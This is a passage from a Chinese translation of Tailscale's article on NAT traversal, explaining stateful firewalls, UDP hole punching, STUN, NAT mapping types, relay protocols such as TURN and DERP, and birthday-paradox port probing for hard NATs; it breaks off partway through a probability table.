<p>退而求其次的一个方式是设置一个 local proxy(本地代理),主协议与这个 proxy 通信 ,后者来完成 NAT 穿透,将包中继(relay)给对端。这种方式增加了一个额外的间接层 ,但好处是:</p>
<ol><li>仍然能获得 NAT 穿透,</li><li><strong>不需要对已有的应用程序做任何改动</strong>。</li></ol>
<h2>1.4 挑战:有状态防火墙和 NAT 设备</h2>
<p>有了以上铺垫,下面就从最基本的原则开始,一步步看如何实现一个企业级的 NAT 穿透方案。</p>
<p>我们的<strong>目标</strong>是:<strong>在两个设备之间通过 UDP 实现双向通信</strong>, 有了这个基础,上层的其他协议(WireGuard, QUIC, WebRTC 等)就能做一些更酷的事情。</p>
<p>但即便这个看似最基本的功能,在实现上也要解决<strong>两个障碍</strong>:</p>
<ol><li>有状态防火墙</li><li>NAT 设备</li></ol>
<p>有状态防火墙是以上两个问题中相对比较容易解决的。实际上,<strong>大部分 NAT 设备都自带了一个有状态防火墙</strong>, 因此要解决第二个问题,必须先解决有第一个问题。</p>
<p>有状态防火墙具体有很多种类型,有些你可能见过:</p>
<ul><li>Windows Defender firewall</li><li>Ubuntu’s ufw (using iptables/nftables)</li><li>BSD/macOS <code>pf</code></li><li>AWS Security Groups(<strong>安全组</strong>)</li></ul>
<h2>2.1 有状态防火墙</h2>
<h3>2.1.1 默认行为(策略)</h3>
<p>以上防火墙的配置都是很灵活的,但大部分配置默认都是如下行为:</p>
<ol><li><strong>允许所有出向连接</strong>(allows all “outbound” connections)</li><li><strong>禁止所有入向连接</strong>(blocks all “inbound” connections)</li></ol>
<p>可能有少量例外规则,例如 allowing inbound SSH。</p>
<h3>2.1.2 如何区分入向和出向包</h3>
<p>连接(connection)和方向(direction)都是协议设计者头脑中的概念,到了 <strong>物理传输层,每个连接都是双向的</strong>;允许所有的包双向传输。 那<strong>防火墙是如何区分哪些是入向包、哪些是出向包的呢</strong>? 这就要回到<strong>“有状态”(stateful)</strong>这三个字了:有状态防火墙会记录它 看到的每个包,当收到下一个包时,会利用这些信息(状态)来判断应该做什么。</p>
<p>对 UDP 来说,规则很简单:如果防火墙之前看到过一个出向包(outbound),就会允许 相应的入向包(inbound)通过,以下图为例:</p>
<p><img alt="nat-firewalls-1a.png" src="https://arthurchiao.art/assets/img/nat-traversal/nat-firewalls-1a.png" /></p>
<p>笔记本电脑中自带了一个防火墙,当该防火墙看到从这台机器出去的 <code>2.2.2.2:1234 -> 5.5.5.5:5678</code> 包时,就会记录一下:<code>5.5.5.5:5678 -> 2.2.2.2:1234</code> 入向包应该放行。 <strong>这里的逻辑</strong>是:我们信任的世界(即笔记本)想主动与 <code>5.5.5.5:5678</code> 通信,因此应该放行(allow)其回包路径。</p>
<blockquote>某些<strong>非常</strong>宽松的防火墙只要看到有从 <code>2.2.2.2:1234</code> 出去的包,就 会允许所有从外部进入 <code>2.2.2.2:1234</code> 的流量。这种防火墙对我们的 NAT 穿透来说非 常友好,但已经越来越少见了。</blockquote>
<h2>2.2 防火墙朝向(face-off)与穿透方案</h2>
<h3>2.2.1 防火墙朝向相同</h3>
<h4>场景特点:服务端 IP 可直接访问</h4>
<p>在 NAT 穿透场景中,以上默认规则对 UDP 流量的影响不大 —— 只要<strong>路径上所有防火墙的“朝向”是一样的</strong>。 一般来说,从内网访问公网上的某个服务器都属于这种情况。</p>
<p>我们唯一的要求是:<strong>连接必须是由防火墙后面的机器发起的</strong>。这是因为 在它主动和别人通信之前,没人能主动和它通信,如下图所示:</p>
<h4>穿透方案:客户端直连服务端,或 hub-and-spoke 拓扑</h4>
<p><img alt="nat-firewalls-2.png" src="https://arthurchiao.art/assets/img/nat-traversal/nat-firewalls-2.png" /></p>
<p>但上图是<strong>假设了</strong>通信双方中,其中一端<strong>(服务端)是能直接访问到的</strong>。 在 VPN 场景中,这就形成了所谓的 <strong>hub-and-spoke 拓扑</strong>:中心的 hub 没有任何防火墙策略,谁都能访问到; 防火墙后面的 spokes 连接到 hub。如下图所示:</p>
<p><img alt="nat-firewalls-3.png" src="https://arthurchiao.art/assets/img/nat-traversal/nat-firewalls-3.png" /></p>
<h3>2.2.2 防火墙朝向不同</h3>
<h4>场景特点:服务端 IP 不可直接访问</h4>
<p>但如果两个“客户端”想直连,以上方式就不行了,此时两边的防火墙相向而立,如下图所示:</p>
<p><img alt="nat-firewalls-4.png" src="https://arthurchiao.art/assets/img/nat-traversal/nat-firewalls-4.png" /></p>
<p>根据前面的讨论,这种情况意味着:<strong>两边要同时发起连接请求</strong>,但也意味着 两边都无法发起有效请求,因为对方先发起请求才能在它的防火墙上打开一条缝让我们进去! 如何破解这个问题呢?一种方式是<strong>让用户重新配置一边或两边的防火墙,打开一个端口</strong>, 允许对方的流量进来。</p>
<ol><li>这显然对用户不友好,在像 Tailscale 这样的 mesh 网络中的扩展性也不好,在 mesh 网络中,我们假设对端会以一定的粒度在公网上移动。</li><li>此外,在很多情况下用户也没有防火墙的控制权限:例如在咖啡馆或机场中,连接的路 由器是不受你控制的(否则你可能就有麻烦了)。</li></ol>
<p>因此,我们需要寻找一种不用重新配置防火墙的方式。</p>
<h4>穿透方案:两边同时主动建连,在本地防火墙为对方打开一个洞</h4>
<p>解决的思路还是先重新审视前面提到的有状态防火墙规则:</p>
<ul><li>对于 UDP,其规则(逻辑)是:<strong>包必须先出去才能进来</strong>(packets must flow out before packets can flow back in)。</li><li>注意,这里除了要满足包的 IP 和端口要匹配这一条件之外,<strong>并没有要求包必须是相关的</strong>(related)。 换句话说,只要某些包带着正确的源和目的地址出去了,<strong>任何看起来像是响应的包都会被防火墙放进来</strong> —— 即使对端根本没收到你发出去的包。</li></ul>
<p>因此,要穿透这些有状态防火墙,我们只需要<strong>共享一些信息:让两端提前知道对方使用的 ip:port</strong>:</p>
<ul><li>手动静态配置是一种方式,但显然扩展性不好;</li><li>我们开发了一个 <a href="https://tailscale.com/blog/how-tailscale-works/#the-control-plane-key-exchange-and-coordination" rel="noreferrer noopener" target="_blank">coordination server</a>, 以灵活、安全的方式来同步 <code>ip:port</code> 信息。</li></ul>
<p>有了对方的 <code>ip:port</code> 信息之后,两端开始给对方发送 UDP 包。在这个过程中,我们预 料到某些包将会被丢弃。因此,双方<strong>必须要接受某些包会丢失的事实</strong>, 因此如果是重要信息,你必须自己准备好重传。对 UDP 来说丢包是可接受的,但这里尤其需要接受。</p>
<p>来看一下具体建连(穿透)过程:</p>
<ol><li>
<p>如图所示,笔记本出去的第一包,<code>2.2.2.2:1234 -> 7.7.7.7:5678</code>,穿过 Windows Defender 防火墙进入到公网。</p>
<p><img alt="nat-firewalls-5a.png" src="https://arthurchiao.art/assets/img/nat-traversal/nat-firewalls-5a.png" /></p>
<p>对方的防火墙会将这个包拦截掉,因为它没有 <code>7.7.7.7:5678 -> 2.2.2.2:1234</code> 的流量记录。 但另一方面,Windows Defender 此时已经记录了出向连接,因此会允许 <code>7.7.7.7:5678 -> 2.2.2.2:1234</code> 的应答包进来。</p>
</li><li>
<p>接着,第一个 <code>7.7.7.7:5678 -> 2.2.2.2:1234</code> 穿过它自己的防火墙到达公网。</p>
<p><img alt="nat-firewalls-5b.png" src="https://arthurchiao.art/assets/img/nat-traversal/nat-firewalls-5b.png" /></p>
<p>到达客户端侧时,Windows Defender <strong>认为这是刚才出向包的应答包,因此就放行它进入了!</strong> 此外,右侧的防火墙此时也记录了:<code>2.2.2.2:1234 -> 7.7.7.7:5678</code> 的包应该放行。</p>
</li><li>
<p>笔记本收到服务器发来的包之后,发送一个包作为应答。这个包穿过 Windows Defender 防火墙 和服务端防火墙(因为这是对服务端发送的包的应答包),达到服务端。</p>
<p><img alt="nat-firewalls-5c.png" src="https://arthurchiao.art/assets/img/nat-traversal/nat-firewalls-5c.png" /></p>
</li></ol>
<p>成功!这样我们就建立了一个<strong>穿透两个相向防火墙</strong>的双向通信连接。 而初看之下,这项任务似乎是不可能完成的。</p>
<h2>2.3 关于穿透防火墙的一些思考</h2>
<p>穿透防火墙并非永远这么轻松,有时会受一些第三方系统的间接影响,需要仔细处理。 那穿透防火墙需要注意什么呢?重要的一点是:<strong>通信双方必须几乎同时发起通信</strong>, 这样才能在路径上的防火墙打开一条缝,而且两端还都是活着的。</p>
<h3>2.3.1 双向主动建连:旁路信道</h3>
<p>如何实现“同时”呢?一种方式是两端不断重试,但显然这种方式很浪费资源。假如双方都 知道何时开始建连就好了。</p>
<ul><li>这听上去是<strong>鸡生蛋蛋生鸡的问题</strong>了:<strong>双方想要通信,必须先提前通个信</strong>。</li><li>
<p>但实际上,我们可以通过<strong>旁路信道</strong>(side channel)来达到这个目的 ,并且这个旁路信道并不需要很 fancy:它可以有几秒钟的延迟、只需要传送几 KB 的 信息,因此即使是一个配置非常低的虚拟机,也能为几千台机器提供这样的旁路通信服务。</p>
<ul><li>在遥远的过去,我曾用 XMPP 聊天消息作为旁路,效果非常不错。</li><li>另一个例子是 WebRTC,它需要你提供一个自己的“信令信道”(signalling channel, 这个词也暗示了 WebRTC 的 IP telephony ancestry),并将其配置到 WebRTC API。</li><li>在 Tailscale,我们的协调服务器(coordination server)和 DERP (Detour Encrypted Routing Protocol) 服务器集群是我们的旁路信道。</li></ul>
</li></ul>
<h3>2.3.2 非活跃连接被防火墙清理</h3>
<p>有状态防火墙内存通常比较有限,因此会定期清理不活跃的连接(UDP 常见的是 30s), 因此要保持连接 alive 的话需要定期通信,否则就会被防火墙关闭,为避免这个问题, 我们,</p>
<ol><li>要么定期向对方发包来 keepalive,</li><li>要么有某种带外方式来按需重建连接。</li></ol>
<h3>2.3.3 问题都解决了?不,挑战刚刚开始</h3>
<p>对于防火墙穿透来说, 我们<strong>并不需要关心路径上有几堵墙</strong> —— 只要它们是有状态防火墙且允许出 向连接,这种同时发包(simultaneous transmission)机制就能穿透任意多层防火墙。 这一点对我们来说非常友好,因为只需要实现一个逻辑,然后能适用于任何地方了。</p>
<p>…对吗?</p>
<p>其实,<strong>不完全对</strong>。这个机制有效的前提是:我们能<strong>提前知道对方的 ip:port</strong>。 而这就涉及到了我们今天的主题:NAT,它会使前面我们刚获得的一点满足感顿时消失。</p>
<p>下面,<strong>进入本文正题</strong>。</p>
<h2>3.1 NAT 设备与有状态防火墙</h2>
<p>可以认为 NAT 设备是一个<strong>增强版的有状态防火墙</strong>,虽然它的增强功能 对于本文场景来说并不受欢迎:除了前面提到的有状态拦截/放行功能之外,它们还会在数据包经过时修改这些包。</p>
<h2>3.2 NAT 穿透与 SNAT/DNAT</h2>
<p>具体来说,NAT 设备能完成某种类型的网络地址转换,例如,替换源或目的 IP 地址或端口。</p>
<ul><li><strong>讨论连接问题和 NAT 穿透问题时</strong>,我们<strong>只会受 source NAT —— SNAT 的影响</strong>。</li><li>DNAT 不会影响 NAT 穿透。</li></ul>
<h2>3.3 SNAT 的意义:解决 IPv4 地址短缺问题</h2>
<p>SNAT 最常见的使用场景是<strong>将很多设备连接到公网,而只使用少数几个公网 IP</strong>。 例如对于消费级路由器,会将所有设备的(私有) IP 地址映射为<strong>单个</strong>连接到公网的 IP 地址。</p>
<p>这种方式存在的意义是:我们有远多于可用公网 IP 数量的设备需要连接到公网,(至少 对 IPv4 来说如此,IPv6 的情况后面会讨论)。NAT 使多个设备能共享同一 IP 地址,因 此即使面临 IPv4 地址短缺的问题,我们仍然能不断扩张互联网的规模。</p>
<h2>3.4 SNAT 过程:以家用路由器为例</h2>
<p>假设你的笔记本连接到家里的 WiFi,下面看一下它连接到公网某个服务器时的情形:</p>
<ol><li>
<p>笔记本发送 UDP packet <code>192.168.0.20:1234 -> 7.7.7.7:5678</code>。</p>
<p><img alt="nat-overview-1.png" src="https://arthurchiao.art/assets/img/nat-traversal/nat-overview-1.png" /></p>
<p>这一步就好像笔记本有一个公网 IP 一样,但源地址 <code>192.168.0.20</code> 是私有地址, 只能出现在私有网络,公网不认,收到这样的包时它不知道如何应答。</p>
</li><li>
<p>家用路由器出场,执行 SNAT。</p>
<p>包经过路由器时,路由器发现这是一个它没有见过的新会话(session)。 它知道 <code>192.168.0.20</code> 是私有 IP,公网无法给这样的地址回包,但它有办法解决:</p>
<ol><li>在它<strong>自己的公网 IP 上挑一个可用的 UDP 端口</strong>,例如 <code>2.2.2.2:4242</code>,</li><li>然后创建一个 <em>NAT mapping</em>:<code>192.168.0.20:1234</code> <code><--></code> <code>2.2.2.2:4242</code>,</li><li>然后将包发到公网,此时源地址变成了 <code>2.2.2.2:4242</code> 而不是原来的 <code>192.168.0.20:1234</code>。因此服务端看到的是转换之后地址,</li><li>接下来,每个能匹配到这条映射规则的包,都会被路由器改写 IP 和 端口。</li></ol>
<p><img alt="nat-overview-2.png" src="https://arthurchiao.art/assets/img/nat-traversal/nat-overview-2.png" /></p>
</li><li>
<p>反向路径是类似的,路由器会执行相反的地址转换,将 <code>2.2.2.2:4242</code> 变回 <code>192.168.0.20:1234</code>。对于笔记本来说,它根本感知不知道这正反两次变换过程。</p>
</li></ol>
<p>这里是拿家用路由器作为例子,但<strong>办公网的原理是一样的</strong>。不同之处在 于,办公网的 NAT 可能有多台设备组成(高可用、容量等目的),而且它们有不止一个公 网 IP 地址可用,因此在选择可用的公网 <code>ip:port</code> 来做映射时,选择空间更大,能支持 更多客户端。</p>
<p><img alt="nat-overview-3.png" src="https://arthurchiao.art/assets/img/nat-traversal/nat-overview-3.png" /></p>
<h2>3.5 SNAT 给穿透带来的挑战</h2>
<p>现在我们遇到了与前面有状态防火墙类似的情况,但这次是 NAT 设备:<strong>通信双方 不知道对方的 ip:port 是什么</strong>,因此<strong>无法主动建连</strong>,如下图所示:</p>
<p><img alt="nat-stun-1.png" src="https://arthurchiao.art/assets/img/nat-traversal/nat-stun-1.png" /></p>
<p>但这次比有状态防火墙更糟糕,严格来说,<strong>在双方发包之前,根本无法确定(自己及对方的)ip:port 信息</strong>,因为 <strong>只有出向包经过路由器之后才会产生 NAT mapping</strong>(即,可以被对方连接的 <code>ip:port</code> 信息)。</p>
<p>因此我们又回到了与防火墙遇到的问题,并且情况更糟糕:<strong>双方都需要主动和对 方建连,但又不知道对方的公网地址是多少</strong>,只有当对方先说话之后,我们才能拿到它的地址信息。</p>
<p>如何破解以上死锁呢?这就轮到 <a href="https://en.wikipedia.org/wiki/STUN" rel="noreferrer noopener" target="_blank">STUN</a> 登场了。</p>
<p><a href="https://en.wikipedia.org/wiki/STUN" rel="noreferrer noopener" target="_blank">STUN</a> 既是一些对 NAT 设备行为的详细研究,也是一种协助 NAT 穿透的协议。本文主要关注 STUN 协议。</p>
<h2>4.1 STUN 原理</h2>
<p><strong>STUN 基于一个简单的观察</strong>:从一个会被 NAT 的客户端访问公网服务器时, 服务器看到的是 <strong>NAT 设备的公网 ip:port 地址</strong>,而非该 <strong>客户端的局域网 ip:port 地址</strong>。</p>
<p>也就是说,服务器能告诉客户端<strong>它看到的客户端的 ip:port 是什么</strong>。 因此,只要将这个信息以某种方式告诉通信对端(peer),后者就知道该和哪个地址建连了! 这样就又<strong>简化为前面的防火墙穿透问题了</strong>。</p>
<p>本质上这就是 <strong>STUN 协议的工作原理</strong>,如下图所示:</p>
<ul><li>笔记本向 STUN 服务器发送一个请求:“从你的角度看,我的地址什么?”</li><li>STUN 服务器返回一个响应:“我看到你的 UDP 包是从这个地址来的:<code>ip:port</code>”。</li></ul>
<p><img alt="nat-stun-2.png" src="https://arthurchiao.art/assets/img/nat-traversal/nat-stun-2.png" /></p>
<blockquote>The STUN protocol has a bunch more stuff in it — there’s a way of obfuscating the <code>ip:port</code>
in the response to stop really broken NATs from mangling the packet’s
payload, and a whole authentication mechanism that only really gets used
by TURN and ICE, sibling protocols to STUN that we’ll talk about in a
bit. We can ignore all of that stuff for address discovery.</blockquote>
<h2>4.2 为什么 NAT 穿透逻辑和主协议要共享同一个 socket</h2>
<p>理解了 STUN 原理,也就能理解为什么我们在文章开头说,如果 <strong>要实现自己的 NAT 穿透逻辑和主协议,就必须让二者共享同一个 socket</strong>:</p>
<ol><li>每个 socket 在 NAT 设备上都对应一个映射关系(私网地址 -> 公网地址),</li><li>STUN 服务器只是<strong>辅助</strong>穿透的基础设施,</li><li>与 STUN 服务器通信之后,在 NAT 及防火墙设备上打开了一个连接,允许入向包进来(回忆前面内容, <strong>只要目的地址对,UDP 包就能进来</strong>,不管这些包是不是从 STUN 服务器来的),</li><li>因此,接下来只要将这个地址告诉我们的通信对端(peer),让它往这个地址发包,就能实现穿透了。</li></ol>
<h2>4.3 STUN 的问题:不能穿透所有 NAT 设备(例如企业级 NAT 网关)</h2>
<p>有了 STUN,我们的<strong>穿透目的似乎已经实现了</strong>:每台机器都通过 STUN 来获取自己的私网 socket 对应的公网 <code>ip:port</code>,然后把这个信息告诉对端,然后两端 同时发起穿透防火墙的尝试,后面的过程就和上一节介绍的防火墙穿透一样了,<strong>对吗</strong>?</p>
<p>答案是:<strong>看情况</strong>。某些情况下确实如此,但有些情况下却不行。通常来说,</p>
<ul><li>对于大部分<strong>家用路由器场景</strong>,这种方式是没问题的;</li><li>但对于一些<strong>企业级 NAT 网关</strong>来说,这种方式无法奏效。</li></ul>
<p>NAT 设备的说明书上越强调它的安全性,STUN 方式失败的可能性就越高。(但注意,从实际意义上来说, <strong>NAT 设备在任何方面都并不会增强网络的安全性</strong>,但这不是本文重点,因此不展开。)</p>
<h2>4.4 重新审视 STUN 的前提</h2>
<p>再次审视前面<strong>关于 STUN 的假设</strong>:当 STUN 服务器告诉客户端在公网看来它的地址是 <code>2.2.2.2:4242</code> 时,那所有目的地址是 <code>2.2.2.2:4242</code> 的包就都能穿透防火墙到达该客户端。</p>
<p>这也正是问题所在:<strong>这一点并不总是成立</strong>。</p>
<ul><li>
<p>某些 NAT 设备的行为与我们假设的一致,它们的有状态防火墙组件只要看到有客户端自己 发起的出向包,就会允许相应的入向包进入;因此只要利用 STUN 功能,再加上两端同时 发起防火墙穿透,就能把连接打通;</p>
<blockquote>in theory, there are also NAT devices that are super
relaxed, and don’t ship with stateful firewall stuff at all. In those,
you don’t even need simultaneous transmission, the STUN request gives
you an internet <code>ip:port</code> that anyone can connect to with no further ceremony. If such devices do still exist, they’re increasingly rare.</blockquote>
</li><li>
<p>另外一些 NAT 设备就要困难很多了,它会<strong>针对每个目的地址来生成一条相应的映射关系</strong>。 在这样的设备上,如果我们用相同的 socket 来分别发送数据包到 <code>5.5.5.5:1234</code> and <code>7.7.7.7:2345</code>,我们就会得到 <code>2.2.2.2</code> 上的两个不同的端口,每个目的地址对应一个。 如果反向包的端口用的不对,包就无法通过防火墙。如下图所示:</p>
<p><img alt="nat-stun-3.png" src="https://arthurchiao.art/assets/img/nat-traversal/nat-stun-3.png" /></p>
</li></ul>
<p>知道 NAT 设备的行为并不是完全一样之后,我们来引入一些正式术语。</p>
<h2>5.1 早期术语</h2>
<p>如果之前接触过 NAT 穿透,可能会听说过下面这些名词:</p>
<ul><li>“Full Cone”</li><li>“Restricted Cone”</li><li>“Port-Restricted Cone”</li><li>“Symmetric” NATs</li></ul>
<p>这些都是 NAT 穿透领域的早期术语。</p>
<p>但其实这些术语<strong>相当让人困惑</strong>。我每次都要 查一下 Restricted Cone NAT
是什么意思。从实际经验来看,我并不是唯一对此感到困惑的人。 例如,如今互联网上将 “easy” NAT 归类为 Full
Cone,而实际上它们更应该归类为 Port-Restricted Cone。</p>
<h2>5.2 近期研究与新术语</h2>
<p>最近的一些研究和 RFC 已经提出了一些更准确的术语。</p>
<ul><li>首先,它们明确了如下事实:<strong>NAT 设备的行为差异表现在多个维度</strong>, 而并非只有早期研究中所说的 “cone” 这一个维度,因此<strong>基于 “cone” 来划分类别并不是很有帮助</strong>。</li><li>其次,新研究和新术语能<strong>更准确地描述 NAT 在做什么</strong>。</li></ul>
<p>前面提到的所谓 <strong>“easy” 和 “hard” NAT,只在一个维度有不同</strong>:NAT 映射是否考虑到目的地址信息。 <a href="https://tools.ietf.org/html/rfc4787" rel="noreferrer noopener" target="_blank">RFC 4787</a> 中,</p>
<ul><li>
<p>将 <strong>easy NAT 及其变种</strong>称为 “Endpoint-Independent Mapping” (<strong>EIM,终点无关的映射</strong>)</p>
<p>但是,从<strong>“命名很难”</strong>这一程序员界的伟大传统来说,EIM 这个词其实 也并不是 100% 准确,因为这种 NAT 仍然依赖 endpoint,只不过依赖的是源 endpoint:每个 source <code>ip:port</code> 对应一个映射 —— 否则你的包就会和别人的包混在一起,导致混乱。</p>
<p>严格来说,EIM 应该称为 “Destination Endpoint Independent Mapping” (DEIM?), 但这个名字太拗口了,而且按照惯例,Endpoint 永远指的是 Destination Endpoint。</p>
</li><li>
<p>将 <strong>hard NAT 以及变种</strong>称为 “Endpoint-Dependent Mapping”(<strong>EDM,终点相关的映射</strong>) 。</p>
<p>EDM 中还有一个子类型,依据是只根据 dst_ip 做映射,还是根据 dst_ip + dst_port 做映射。 对于 NAT 穿透来说,这种区分对来说是一样的:它们<strong>都会导致 STUN 方式不可用</strong>。</p>
</li></ul>
<h2>5.3 老的 cone 类型划分</h2>
<p>你可能会有疑问:根据是否依赖 endpoint 这一条件,只能组合出两种可能,那为什么传 统分类中会有四种 cone 类型呢?答案是 <strong>cone 包含了两个正交维度的 NAT 行为</strong>:</p>
<ul><li><strong>NAT 映射行为</strong>:前面已经介绍过了,</li><li><strong>有状态防火墙行为</strong>:与前者类似,也是分为与 endpoint 相关还是无关两种类型。</li></ul>
<p>因此最终组合如下:</p>
<p>NAT Cone Types</p>
<table border="1" style="width: 100%;">
<tbody><tr>
<th><br /></th>
<th><strong>Endpoint 无关 NAT mapping</strong></th>
<th><strong>Endpoint 相关 NAT mapping (all types)</strong></th>
</tr>
<tr>
<td><strong>Endpoint 无关防火墙</strong></td>
<td>Full Cone NAT</td>
<td>N/A*</td>
</tr>
<tr>
<td><strong>Endpoint 相关防火墙 (dst. IP only)</strong></td>
<td>Restricted Cone NAT</td>
<td>N/A*</td>
</tr>
<tr>
<td><strong>Endpoint 相关防火墙 (dst. IP+port)</strong></td>
<td>Port-Restricted Cone NAT</td>
<td>Symmetric NAT</td>
</tr>
</tbody></table>
<p>分解到这种程度之后就可以看出,<strong>cone 类型对 NAT 穿透场景来说并没有什么意义</strong>。 我们关心的只有一点:是否是 Symmetric —— 换句话说,一个 NAT 设备是 EIM 还是 EDM 类型的。</p>
<h2>5.4 针对 NAT 穿透场景:简化 NAT 分类</h2>
<p>以上讨论可知,虽然理解防火墙的具体行为很重要,但对于编写 NAT 穿透代码来说,这一点并不重要。 我们的<strong>两端同时发包</strong>方式(simultaneous transmission trick)能 <strong>有效穿透以上三种类型的防火墙</strong>。在真实场景中, 我们主要在处理的是 IP-and-port endpoint-dependent 防火墙。</p>
<p>因此,对于实际 NAT 穿透实现,我们可以将以上分类简化成:</p>
<table border="1" style="width: 100%;">
<tbody><tr>
<th><br /></th>
<th>Endpoint-Independent NAT mapping</th>
<th>Endpoint-Dependent NAT mapping (dst. IP only)</th>
</tr>
<tr>
<td><strong>Firewall is yes</strong></td>
<td>Easy NAT</td>
<td>Hard NAT</td>
</tr>
</tbody></table>
<h2>5.5 更多 NAT 规范(RFC)</h2>
<p>想了解更多新的 NAT 术语,可参考</p>
<ul><li>RFC <a href="https://tools.ietf.org/html/rfc4787" rel="noreferrer noopener" target="_blank">4787</a> (NAT Behavioral Requirements for UDP)</li><li>RFC <a href="https://tools.ietf.org/html/rfc5382" rel="noreferrer noopener" target="_blank">5382</a> (for TCP)</li><li>RFC <a href="https://tools.ietf.org/html/rfc5508" rel="noreferrer noopener" target="_blank">5508</a> (for ICMP)</li></ul>
<p>如果自己实现 NAT,那应该(should)遵循这些 RFC 的规范,这样才能使你的 NAT 行为符合业界惯例,与其他厂商的设备或软件良好兼容。</p>
<h2>6.1 问题回顾与保底方式(中继)</h2>
<p>补完基础知识(尤其是定义了什么是 hard NAT)之后,回到我们的 NAT 穿透主题。</p>
<ul><li>第 1~4 节已经解决了 STUN 和防火墙穿透的问题,</li><li>但 <strong>hard NAT 对我们来说是个大问题</strong>,只要路径上出现一个这种设备,前面的方案就行不通了。</li></ul>
<p>准备放弃了吗? 这才<strong>进入 NAT 真正有挑战的部分</strong>:如果已经试过了前面介绍的所有方式 仍然不能穿透,我们该怎么办呢?</p>
<ul><li>实际上,确实有很多 NAT 实现在这种情况下都会选择放弃,向用户报一个<strong>“无法连接”</strong>之类的错误。</li><li>但对我们来说,这么快就放弃显然是不可接受的 —— 解决不了连通性问题,Tailscale 就没有存在的意义。</li></ul>
<p>我们的保底解决方式是:创建一个<strong>中继连接</strong>(relay)实现双方的无障碍地通信。 但是,中继方式性能不是很差吗?这要看具体情况:</p>
<ul><li>如果能直连,那显然没必要用中继方式;</li><li>但如果无法直连,而中继路径又非常接近双方直连的真实路径,并且带宽足够大,那中 继方式并不会明显降低通信质量。延迟肯定会增加一点,带宽会占用一些,但 <strong>相比完全连接不上,还是更能让用户接受的</strong>。</li></ul>
<p>不过要注意:我们只有在无法直连时才会选择中继方式。实际场景中,</p>
<ol><li>对于大部分网络,我们都能通过前面介绍的方式实现直连,</li><li>剩下的长尾用中继方式来解决,并不算一个很糟的方式。</li></ol>
<p>此外,某些网络会阻止 NAT 穿透,其影响比这种 hard NAT 大多了。例如,我们观察到 UC Berkeley guest WiFi
禁止除 DNS 流量之外的所有 outbound UDP 流量。 不管用什么 NAT
黑科技,都无法绕过这个拦截。因此我们终归还是需要一些可靠的 fallback 机制。</p>
<h2>6.2 中继协议:TURN、DERP</h2>
<p>有多种中继实现方式。</p>
<ol><li>
<p><strong>TURN</strong> (Traversal Using Relays around NAT):经典方式,核心理念是</p>
<ol><li><strong>用户</strong>(人)先去公网上的 TURN 服务器认证,成功后后者会告诉你:“我已经为你分配了 ip:port,接下来将为你中继流量”,</li><li>然后将这个 ip:port 地址告诉对方,让它去连接这个地址,接下去就是非常简单的客户端/服务器通信模型了。</li></ol>
<p>Tailscale 并不使用 TURN。这种协议<strong>用起来并不是很好</strong>,而且与 STUN 不同, 它没有真正的交互性,因为互联网上并没有公开的 TURN 服务器。</p>
</li><li>
<p>DERP (Detoured Encrypted Routing Protocol)</p>
<p>这是我们创建的一个协议,<a href="https://tailscale.com/blog/how-tailscale-works/#encrypted-tcp-relays-derp" rel="noreferrer noopener" target="_blank">DERP</a>,</p>
<ol><li>它是一个<strong>通用目的包中继协议,运行在 HTTP 之上</strong>,而大部分网络都是允许 HTTP 通信的。</li><li>它根据目的公钥(destination’s public key)来中继加密的流量(encrypted payloads)。</li></ol>
<p>前面也简单提到过,DERP 既是我们在 NAT 穿透失败时的保底通信方式(此时的角色 与 TURN
类似),也是在其他一些场景下帮助我们完成 NAT 穿透的旁路信道。 换句话说,它既是我们的保底方式,也是有更好的穿透链路时,帮助我们进行连接升
级(upgrade to a peer-to-peer connection)的基础设施。</p>
</li></ol>
<h2>6.3 小结</h2>
<p>有了“中继”这种保底方式之后,我们穿透的成功率大大增加了。 如果此时不再阅读本文接下来的内容,而是把上面介绍的穿透方式都实现了,我预计:</p>
<ul><li>90% 的情况下,你都能实现直连穿透;</li><li>剩下的 10% 里,用中继方式能穿透<strong>一些</strong>(some);</li></ul>
<p>这已经算是一个“足够好”的穿透实现了。</p>
<p>如果你并不满足于“足够好”,那我们可以做的事情还有很多!</p>
<p>本节将介绍一些五花八门的 tricks,在某些特殊场景下会帮到我们。单独使用这项技术都 无法解决 NAT 穿透问题,但将它们巧妙地组合起来,我们能更加接近 100% 的穿透成功率。</p>
<h2>7.1 穿透 hard NAT:暴力端口扫描</h2>
<p>回忆 hard NAT 中遇到的问题,如下图所示,关键问题是:easy NAT 不知道该往 hard NAT 方的哪个 <code>ip:port</code> 发包。</p>
<p><img alt="nat-birthday-attack-1.png" src="https://arthurchiao.art/assets/img/nat-traversal/nat-birthday-attack-1.png" /></p>
<p>但<strong>必须</strong>要往正确的 <code>ip:port</code> 发包,才能穿透防火墙,实现双向互通。 怎么办呢?</p>
<ol><li>
<p>首先,我们能知道 hard NAT 的<strong>一些</strong> <code>ip:port</code>,因为我们有 STUN 服务器。</p>
<p>这里先假设我们获得的这些 IP 地址都是正确的(这一点并不总是成立,但这里先这么假 设。而实际上,大部分情况下这一点都是成立的,如果对此有兴趣,可以参考 REQ-2 in <a href="https://tools.ietf.org/html/rfc4787" rel="noreferrer noopener" target="_blank">RFC 4787</a>)。</p>
</li><li>
<p>IP 地址确定了,剩下的就是端口了。总共有 65535 中可能,我们能<strong>遍历这个端口范围</strong>吗?</p>
<p>如果发包速度是 100 packets/s,那最坏情况下,需要 <strong>10 分钟</strong>来找到正确的端口。 还是那句话,这虽然不是最优的,但总比连不上好。</p>
<p>这很像是端口扫描(事实上,确实是),实际中可能会触发对方的网络入侵检测软件。</p>
</li></ol>
<h2>7.2 基于生日悖论改进暴力扫描:hard side 多开端口 + easy side 随机探测</h2>
<p>利用 <a href="https://en.wikipedia.org/wiki/Birthday_problem" rel="noreferrer noopener" target="_blank">birthday paradox</a> 算法, 我们能对端口扫描进行改进。</p>
<ul><li>上一节的基本前提是:hard side 只打开一个端口,然后 easy side 暴力扫描 65535 个端口来寻找这个端口;</li><li>这里的改进是:在 hard size 开多个端口,例如 256 个(即同时打开 256 个 socket,目的地址都是 easy side 的 <code>ip:port</code>), 然后 easy side 随机探测这边的端口。</li></ul>
<p>这里省去算法的数学模型,如果你对实现干兴趣,可以看看我写的 <a href="https://github.com/danderson/nat-birthday-paradox" rel="noreferrer noopener" target="_blank">python calculator</a>。 计算过程是“经典”生日悖论的一个小变种。 下面是随着 easy side random probe 次数(假设 hard size 256 个端口)的变化,两边打开的端口有重合(即通信成功)的概率:</p>
<table border="1" style="width: 100%;">
<tbody><tr>
<th>随机探测次数</th>
<th>成功概率</th>
</tr>
<tr>
<td>174</td>
<td>50%</td>
</tr>
<tr>
